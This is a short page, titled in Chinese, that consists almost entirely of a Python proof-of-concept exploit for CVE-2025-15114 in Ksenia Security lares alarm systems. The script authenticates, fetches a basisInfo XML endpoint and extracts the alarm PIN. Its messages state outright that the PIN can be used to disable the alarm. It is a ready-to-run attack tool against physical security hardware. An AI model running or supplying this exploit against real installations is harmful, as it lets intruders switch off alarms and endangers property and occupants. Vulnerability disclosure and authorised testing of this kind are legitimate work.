CVE-2025-15114 Ksenia Security lares报警系统PIN码泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-15114 PoC - Ksenia Security lares PIN Code Disclosure This PoC demonstrates how to retrieve the alarm system PIN from basisInfo XML """ import requests import xml.etree.ElementTree as ET import sys def exploit_cve_2025_15114(target_url, username, password): """ Exploit function to retrieve PIN from basisInfo XML Args: target_url: Base URL of the Ksenia lares system username: Valid username for authentication password: Valid password for authentication Returns: PIN code if successful, None otherwise """ session = requests.Session() # Step 1: Authenticate to the system login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed with status code: {response.status_code}") return None print("[+] Authentication successful") # Step 2: Request basisInfo XML endpoint basisinfo_url = f"{target_url}/api/basisInfo" response = session.get(basisinfo_url, timeout=10) if response.status_code != 200: print(f"[-] Failed to retrieve basisInfo: {response.status_code}") return None # Step 3: Parse XML response to extract PIN try: root = ET.fromstring(response.text) # Search for PIN element in XML tree pin_element = root.find('.//pin') or root.find('.//Pin') or root.find('.//PIN') if pin_element is not None: pin_code = pin_element.text print(f"[!] VULNERABLE! PIN Code found: {pin_code}") print(f"[+] Attackers can now disable the alarm system using this PIN") return pin_code else: print("[-] PIN element not found in response") print(f"[-] Response content:\n{response.text}") return None except ET.ParseError as e: print(f"[-] Failed to parse XML response: {e}") return None except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve_2025_15114_poc.py <target_url> <username> <password>") print("Example: python cve_2025_15114_poc.py https://192.168.1.100 admin admin123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] print(f"[*] CVE-2025-15114 PoC - Ksenia Security lares PIN Disclosure") print(f"[*] Target: {target}") print(f"[*] Attempting to retrieve alarm PIN...") pin = exploit_cve_2025_15114(target, user, passwd) if pin: print(f"\n[+] SUCCESS: Alarm system PIN '{pin}' has been extracted") print("[!] This PIN can be used to disable the alarm system") else: print("\n[-] FAILED: Could not retrieve PIN code")